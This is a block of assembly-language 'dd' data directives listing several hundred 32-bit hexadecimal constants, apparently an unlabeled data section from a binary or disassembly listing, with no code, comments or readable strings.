		dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch
		dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h
		dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h
		dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h,	791E3AFCh
		dd 9A5BF8h, 1241FE5h
		dd 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh,	736B6FF2h
		dd 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h, 8503D10h
		dd 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h, 190A00E5h
		dd 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h, 796E1DA6h
		dd 85550303h, 2EB1215Eh, 0A580F056h, 10658100h,	29DF4131h
		dd 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch, 0E8842B54h
		dd 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh, 5F0E67EDh
		dd 263A62C0h, 1493008Dh, 97103644h, 0D6755420h,	0F3619801h
		dd 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h, 29CA5C91h
		dd 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h, 83C22D7Fh
		dd 400EBF8h, 6A762170h,	136FCA5h, 75323C48h, 0C8180C24h
		dd 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh, 12AFAA95h
		dd 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h,	0DA8006F1h
		dd 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h,	687130h
		dd 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h,	2F7400F5h
		dd 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh
		dd 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h,	7D4EA48h
		dd 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch, 6F5F44Bh
		dd 0B23A4BBh, 0C20098D1h, 3E988ACBh, 802113h, 7426C084h
		dd 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h, 0B42CDADh
		dd 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h, 3B5638A1h
		dd 539DB732h, 3E8647Fh,	2018421Ch, 9F0243A8h, 3D90A13Dh
		dd 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h, 0A4400343h
		dd 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch, 24CDC029h
		dd 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h,	0B24460B5h
		dd 55AFF39h, 17314FEBh,	6A697F80h, 5B301E21h, 63FC09Eh
		dd 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h, 40B20007h
		dd 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h,	0CC020035h
		dd 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh, 0A81AC91Ch
		dd 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah, 35252991h
		dd 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah,	0B345233Eh
		dd 20A9840Ch, 0E4EC3Ah,	0AA5382B6h, 4C092293h, 0B00FFBADh
		dd 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h
		dd 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h,	0ED7A8D35h
		dd 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h, 76007662h
		dd 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h,	0AC758224h
		dd 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h,	0E804C8B9h
		dd 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh, 9767FC24h
		dd 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h, 0F0F6F1h
		dd 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h, 0A58B01B0h
		dd 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h, 11B974h
		dd 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h,	3EED805Ch
		dd 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h, 85CA3Bh
		dd 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh, 0B16FE8C7h
		dd 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch, 0C38C49C0h
		dd 2AFE909h, 97B4ED7Ah,	11601674h, 2FE21CC7h, 0B1283C00h
		dd 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h, 34F49E60h
		dd 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h, 0AF04E4E5h
		dd 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch,	0C590832Eh
		dd 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h, 324A8110h
		dd 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh
		dd 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h,	0CC653B40h
		dd 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h,	0CF27A9h
		dd 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h, 0E1B5358Eh
		dd 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h, 0C732D8h
		dd 14FB89B0h, 3CDDA53Ah, 0A75DD901h, 932156D8h,	0B795A0E3h
		dd 20B80010h, 8CBF553Dh, 7E0007F8h, 407D42FDh, 505AA41Fh
		dd 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h,	47895C00h
		dd 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h,	46B9C400h
		dd 4B363A3h, 0BCB41CD0h, 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh
		dd 603E4E20h, 3B644E2Bh, 487109h, 22759166h, 0A9944487h
		dd 15BD8900h, 79566AA8h, 3A430913h, 5900DBB3h, 0A2580693h
		dd 1D52FB00h, 9E947E59h, 1E3600F5h, 0CB349525h,	0AA003308h
		dd 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h, 0B03F1F6Ch
		dd 6919DA4h, 0F64C880h,	4815F4CAh, 0C4002940h, 24269DF7h
		dd 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh, 912C2040h
		dd 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h, 1C575E09h
		dd 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h, 70CAFDE2h
		dd 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h,	0C8596D4Eh
		dd 38C01CECh, 0CAFC4F7h, 54D20050h, 2C634585h, 4100723Bh
		dd 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h, 95796406h
		dd 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h, 0A410500h
		dd 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh,	9800FAC6h
		dd 0C046D13h, 901C4E06h, 0A4AA0075h, 8DB8F011h,	2400640Ah
		dd 0F243AB04h, 15007DEh, 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h
		dd 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h,	386A8088h
		dd 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h, 14D8B2D8h
		dd 0EF486A4Eh, 27400086h, 96554152h, 4D050775h,	0A054BA08h
		dd 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h, 0D55247C2h
		dd 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h,	3A1DA6DFh
		dd 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh, 847D8351h
		dd 76818700h, 0A19BCCB8h, 2D900089h, 98F50CE6h,	0D7975F4h
		dd 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh, 130073B8h
		dd 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh, 3E25E93Eh
		dd 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h, 34232CFFh
		dd 0CD00F37h, 604485A7h, 31382433h, 80522831h, 54E41940h
		dd 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h, 8B9303E8h
		dd 0F60AB024h, 0B35300DDh, 5010255Bh, 0BEE60D5h, 0E2308300h
		dd 9750E01h, 487E00FFh,	0A7521AA1h, 400D50Ch, 62BEE0DEh
		dd 8153A0h, 438FE831h, 3325D16Bh, 0E909D275h, 0EBB4B47h
		dd 0C8EF80D3h, 0EF26610h, 0B40A657Bh, 0AF80FEEEh, 5312EC43h
		dd 295EEF0Eh, 7206803Ah, 7BA2EAh, 7885463Bh, 0FAFFD11Ch
		dd 0D76C0E03h, 80FE4F0Fh, 472A7Ch, 7E8BF633h, 62C074C6h
		dd 52605307h, 0D1B77718h, 0C297BC0h, 12440F9Fh,	0CC20F804h
		dd 1A4626FFh, 0D9754F01h, 0A4DC4381h, 7FF59AE8h, 1C2C072Ah
		dd 30D6AB18h, 373FE828h, 1AC758h, 0EC99EA24h, 5FA858h
		dd 264C4442h, 5B2DAF53h, 0E094D500h, 3B1C98C4h,	74F9A0BEh
		dd 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah
		dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh,	81CC3A1h
		dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
		dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h,	5F39DB31h
		dd 0D8E2B0h, 7E1DFD94h,	7CF60542h, 82000EE6h, 680AA21Ch
		dd 974A18h, 40A5EB63h
		dd 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh, 0EE7717h, 910C1867h
		dd 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h, 82D4BC92h
		dd 1C007B29h, 0E0E8515Fh, 0F303231h, 330A440Dh,	9B0C960h
		dd 3B02010Bh, 67D1C50h,	49DB608Bh, 9076010Ch, 78C3C129h
		dd 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh, 48DA1A32h
		dd 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h, 868042BCh
		dd 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h, 0CA1F2820h
		dd 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h,	0E0B7C11Bh
		dd 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h,	0D2F13304h
		dd 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h, 0E29C5E48h
		dd 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh, 20A621EEh
		dd 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h, 4470AB0Fh
		dd 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h, 149500D7h
		dd 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh, 5DC9CAD4h
		dd 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h, 3F70A56Ah
		dd 46FDC580h, 8E4769EAh, 0C3A1F400h, 838006C6h,	5198FFh
		dd 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh, 351E977Ch, 2FB42480h
		dd 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh, 54CF2088h
		dd 803C004Ah, 638A551h,	58A2B891h, 89000B15h, 88BC461Eh
		dd 0EA4E5690h, 1877F2h,	0EB1AC0Ah, 772E6D41h, 706A6200h
		dd 7899DF60h, 14510010h, 22836350h, 7D5C4161h, 73760E0Dh
		dd 0BF67606Eh, 44704Eh,	680E4A19h, 47667157h, 407C4100h
		dd 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh, 80A66974h
		dd 534018CFh, 48770061h, 0B37C577Dh, 4E019046h,	7BE16ED3h
		dd 62F89E67h, 8E700EF9h, 0FF1C1743h, 826C6F1Fh,	603B7165h
		dd 731ECBC0h, 5F697D02h, 0E09EBE44h, 1E20AA15h,	800E1343h
		dd 522A6670h, 71000C9Bh, 0EE4A7A73h, 0F888DE65h, 1243001Ch
		dd 3637E72h, 61776D55h,	0B0604A00h, 0F07C6462h,	67700166h
		dd 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h, 6EF6E063h
		dd 0C7D81DADh, 66F1404Dh, 76CC6A4Fh, 77146400h,	0A288477Fh
		dd 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h, 581862h
		dd 6C1C6847h, 77875166h, 31706B00h, 1D466365h, 74487140h
		dd 1F077972h, 80615167h, 74945527h, 88070F28h, 4AE36F54h
		dd 6E40E29Eh, 0D373E06Bh, 429E0078h, 13048FEh, 6A0E654Bh
		dd 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h, 681E009Fh
		dd 486E38BFh, 95073052h, 1447CA1Ch, 3741150h, 61670046h
		dd 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h, 0E851F0A1h
		dd 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh, 0EA0BE276h
		dd 24C8045h, 3140E65h, 1830A560h, 48B07742h, 0B6006C63h
		dd 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh, 0B7C24400h
		dd 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h, 0A92FC8B9h
		dd 80B3C400h, 7E2ABB5h,	84CB00A4h, 0A642143Ch, 0BC009996h
		dd 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h, 0BB505Ch
		dd 44A19946h, 7D0D3951h, 14101E15h, 67FC80C3h, 28B4C28h
		dd 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h, 1CA73E16h
		dd 0BA98FF00h, 61C40775h, 1D4775F7h, 0C2D1658Bh, 0AC95C031h
		dd 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h, 81E7E0FBh
		dd 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h, 0D55349Fh
		dd 0F7A42520h, 9178C912h, 14B8801Fh, 8C850F00h,	0F2AEB19h
		dd 0CE906544h, 7481644Fh, 71830E54h, 0D020CD66h, 1A004240h
		dd 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h,	0E6AC4A5Fh
		dd 1A552800h, 23224653h, 71110E44h, 528033B2h, 35752B03h
		dd 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh, 9000C343h
		dd 4ECC175Ch, 0B140A8h,	100E5BE5h, 0ECF17A24h, 28B80AEEh
		dd 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h,	0AE173B19h
		dd 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh,	0C000F2DFh
		dd 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh,	7AD026BEh
		dd 2844B51Fh, 1100B8D3h, 0FC5D8E40h, 335C2C8Ah,	183A0043h
		dd 1B10475h, 3FE9EB00h,	84ED1C80h, 1DF807C9h, 0F0C2FE9Dh
		dd 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh,	0C84BBA75h
		dd 0EA00C434h, 4F7DF7FEh, 25378AAh, 8CA82F21h, 436084DBh
		dd 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h, 1C248D4Ah
		dd 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h, 88FEF822h
		dd 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h, 0CCB70100h
		dd 0BDBFE02h, 8B170074h, 4ABF5CC3h, 760F09F8h, 545DF0Ch
		dd 0FB80EB0Fh, 2D6995h,	0E885D959h, 49BA1E37h, 5DCCC300h
		dd 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh,	0C80F6CADh
		dd 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h, 0C514D885h
		dd 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h,	1B2480C4h
		dd 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h, 851EC422h
		dd 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h, 1CEB7FD8h
		dd 0C02C3C90h, 27002784h, 558BF1B8h, 0EF360006h, 26DC4522h
		dd 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh, 0D76219D6h
		dd 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh, 0C8305399h
		dd 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h, 0D3C095BAh
		dd 400A58Dh, 4FF53FEAh,	8C7CFFh, 42297AE9h, 34288B01h
		dd 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h, 0D8FE3020h
		dd 603C3E57h, 6C5E8051h, 11790114h, 4A0F00D6h, 55D0DCE9h
		dd 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h, 12410C01h
		dd 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h,	87A2EBC6h
		dd 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h, 512F822Ch
		dd 0CEB5E4Bh, 800377Ah,	0ABC66F8Ah, 0BA91C93h, 0CEAF8B5Ah
		dd 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h,	1BEE004Eh
		dd 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh,	60923949h
		dd 9F6BE41h, 32E6B07h, 9E30E4BCh, 0D31840h, 244C283h, 0DCA12550h
		dd 805D203Eh, 80D0FF04h, 6583F0h, 0B106FE3Bh, 76BE695Bh
		dd 6EC0FA00h, 73BF1210h, 0E333000Ah, 0D854045Fh, 0A90352EBh
		dd 257435A4h, 6D069022h, 905A007Fh, 0E99527C3h,	8900AAFFh
		dd 821B4E42h, 0EC0257EBh, 0B8D3F5D6h, 5098F23h,	12D5BEDBh
		dd 0B4B00092h, 837825E9h, 46EC600h, 0E0EB72B6h,	7C75038Eh
		dd 14AEA1A8h, 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h
		dd 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h
		dd 76DA0049h, 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h
		dd 464592EEh, 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh
		dd 0AE4927Ch, 0A000275Fh, 91F333Ah, 0F383C50Ch,	0D8C8E931h
		dd 1E993EB5h, 82920E00h, 0EB68422Bh, 75014F00h,	3C6D2859h
		dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh,	0B50098B7h
		dd 437EE0h, 0F5AC921Bh,	0B0C1D73Bh, 450C532Ch, 0EFC25000h
		dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh
		dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h,	7031188h
		dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh
		dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h
		dd 9D863210h
		dd 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch, 28783F03h
		dd 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h,	294E00B7h
		dd 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h, 8563822Fh
		dd 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh, 0EEAFF5DBh, 2EDC0941h
		dd 3752880h, 0D7B850B3h, 6899D500h, 2C78B22Fh, 49F2015Dh
		dd 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h, 29C6F5h
		dd 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh,	0C3E809D6h
		dd 880CA07h, 1AC11BC9h,	21B9F58h, 9C18153Bh, 1254E047h
		dd 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h, 1A91CB03h
		dd 0AF46FCh, 0B454BF2Ah, 0D5E868E1h, 0B9CC8900h, 8D6C2730h
		dd 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h, 0A0DA2Ch
		dd 0B619890Ch, 0FAD0FB04h, 752D3C01h, 0E2F0D1F1h, 721C64D8h
		dd 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h, 384E3Dh
		dd 0DC5B6C21h, 91879D68h, 0A4A22404h, 4EC09015h, 71E4CB2h
		dd 5C7AB3FAh, 0AC6607Eh, 0EB07EE47h, 0D7FFE215h, 0DB497190h
		dd 45170314h, 0A130306h, 2E77F098h, 48F0F2ABh, 4A3E6FE5h
		dd 816A3A8Ah, 0EBFEC134h, 9A70F31Ah, 0FF0A00C0h, 0E4390855h
		dd 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h, 618A6543h
		dd 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h, 84A22C06h,	1CD6EAC4h
		dd 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h, 4CC1E924h
		dd 11DAEA7h, 0A9840003h, 8AB08805h, 0C0001CE4h,	80CA8B2Eh
		dd 7E690C1h, 0C7D31EE9h, 40FAE70Fh, 0E1040675h,	72102C00h
		dd 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h, 83D02BB9h
		dd 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h, 308DEDE5h
		dd 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h, 0A0881FC0h
		dd 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh, 42006C4Dh, 0FF54BB17h
		dd 4722B87h, 46F302D8h,	0F880EE89h, 3E0313A4h, 1D004D93h
		dd 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h, 3F052AC8h
		dd 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h, 80F6D48Fh
		dd 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h, 2B9600AAh
		dd 108DE776h, 3A0075B8h, 0C45420A7h, 1F2C0F3Eh,	0C4097202h
		dd 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h, 66ED10h
		dd 0F8AD68E7h, 851C7DA4h, 0CCF4423Dh, 7B301D4Eh, 3F13DAEEh
		dd 185C4D02h, 688E0E8Ch, 0DE26001Dh, 7DF8C549h,	0D2E20300h
		dd 7F242305h, 29700A1h,	0E0F9FDF2h, 0EE007EC9h,	0BF82D8ADh
		dd 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h, 0B8AA5584h
		dd 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h, 5580DF44h
		dd 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h, 1800E024h
		dd 0DE4BE810h, 9E140E12h, 68AF9608h, 0EB1E0AE0h, 0D20B9349h
		dd 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh,	11008279h
		dd 41C9945h, 3F1ADA0Dh,	130ED1F5h, 6C60B3C7h, 45AB85D8h
		dd 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h, 88D6CB55h
		dd 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h, 5300F71Eh
		dd 14421343h, 797AF1C1h, 0C89C0076h, 0EA2C7E4Fh, 0F5004B1Eh
		dd 8F8C04CAh, 4CBFA749h, 40001B32h, 0F8D7F484h,	6500929Fh
		dd 0D43DAF3Fh, 496659h,	0A9A44526h, 47441653h, 0A69DAE18h
		dd 0EC550Eh, 0ABF00798h, 3B06E98Ch, 75E89300h, 0D9E23AE1h
		dd 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh,	0AA39C4C0h
		dd 24F46C58h, 3B184487h, 8130299Fh, 463B03D8h, 0E43AE881h
		dd 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh, 0DED4BA04h
		dd 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh,	7CA88E8Bh
		dd 0CAFC5B60h, 920034F5h, 1C5815D1h, 0E3AC6Eh, 8F433614h
		dd 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h, 428D0050h
		dd 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh,	0CCED8Ch
		dd 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h, 7FE7F353h, 0F5DF03AAh
		dd 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h, 2FBF0142h
		dd 53A22A00h, 33001034h, 6547E788h, 3D180C04h, 0AB805249h
		dd 41B26CECh, 0F586E34h, 70690052h, 37AF60A3h, 2162005Ah
		dd 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h, 0BF77E9h
		dd 0F12F40Ch, 95845D85h, 3C3E9A67h, 0C74E30C7h,	43501C6Ch
		dd 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h, 0D43808FDh
		dd 855FC9h, 5EB133A3h, 0BAA068FCh, 119E3202h, 0C054DF08h
		dd 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah, 300D1FD0h
		dd 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h, 0A10378BAh
		dd 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah, 541E4406h
		dd 7B43A155h, 0B8503CB0h, 1CE00B04h, 80A80858h,	5B4C53E8h
		dd 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h, 0B8877B34h
		dd 8350DDA1h, 3899940Fh, 42F397B2h, 430B07A0h, 323CC8D1h
		dd 6F000AD8h, 243D05h, 7728C342h, 6119CA17h, 4015BA00h
		dd 9504890Dh, 3C39EC6Dh, 0AC804582h, 0BE51C270h, 0B8004929h
		dd 0C61744BBh, 4A407Ah,	3BD2AF24h, 33F2B911h, 0BCB37B16h
		dd 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h, 0DC00EE0Bh
		dd 0FB832E57h, 0A32259h, 5CDF1198h, 733DB092h, 0DEA7021Eh
		dd 9521E42h, 6821C013h,	1E50084h, 0C419FED5h, 0BA0005C8h
		dd 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h, 30F1600Eh
		dd 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h, 24BA070Ch,	0B0CF6D38h
		dd 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h,	3CF87708h
		dd 22584354h, 0E80FEC00h, 945E6A0Dh, 41FD301h, 1CBE6096h
		dd 31FCBD40h, 4C5001C0h, 0A80E6802h, 7FAED4AAh,	3FFFE400h
		dd 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh, 3CC0200Bh
		dd 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h, 40DEDDB3h
		dd 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h,	0CF031896h
		dd 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh, 8D26559Bh
		dd 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h, 5002818h
		dd 47CA0CC1h, 4FC8D53h,	0C6297BDFh, 0F09587DCh,	0A94FFD0Fh
		dd 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh, 0ECB064A4h
		dd 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h, 0E5E8B780h
		dd 0E2ABC8A0h, 3F61F600h, 750F09C3h, 5D7D07h, 0B355565Ah
		dd 0D14B1620h, 810CEA3Ah, 527333D6h, 0EB20077Fh, 114000B4h
		dd 31577242h, 43F8484Dh, 9729863Ch, 0F3002625h,	544CF20h
		dd 0B3850266h, 7C080C2Ch, 3B4C980h, 2B1F4BD6h, 0B0000A60h
		dd 0C8022E18h, 3F800F06h, 0DC01353h, 2008101Ah,	4AA64126h
		dd 3ED0003Fh, 2440D848h, 0C2790950h, 38805F86h,	8E0E7412h
		dd 28824C01h, 0C780D231h, 0F7E2C8h, 4101028Ah, 0F686140Bh
		dd 7570E000h, 0DE3C58F2h, 7637723Ah, 3378F7h, 801F7BCDh
		dd 44470FF8h, 73C6F600h, 0A3A5275h, 0E6B37740h,	54D30F20h
		dd 5C401460h, 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h
		dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
		dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
		dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
		dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
		dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h,	0F62FCA5h
		dd 0EA7B8401h, 2F2985FAh
		dd 0E0499F0h, 0E03906ADh, 32C30720h, 172C7440h,	1739997Ah
		dd 74126601h, 0D9075913h, 804B49BFh, 5BBCE94Bh,	0A41002EBh
		dd 6143536h, 222AD880h,	480FC8EDh, 0A0026433h, 0BD105CCBh
		dd 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh,	5500A98Fh
		dd 0D84BC179h, 0DFBBF3h, 0CED2031Fh, 0F25B64BEh, 0BCC45424h
		dd 791B200h, 4A0250h, 18066C74h, 3FEB2880h, 1D8D3700h
		dd 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h, 362C13E9h
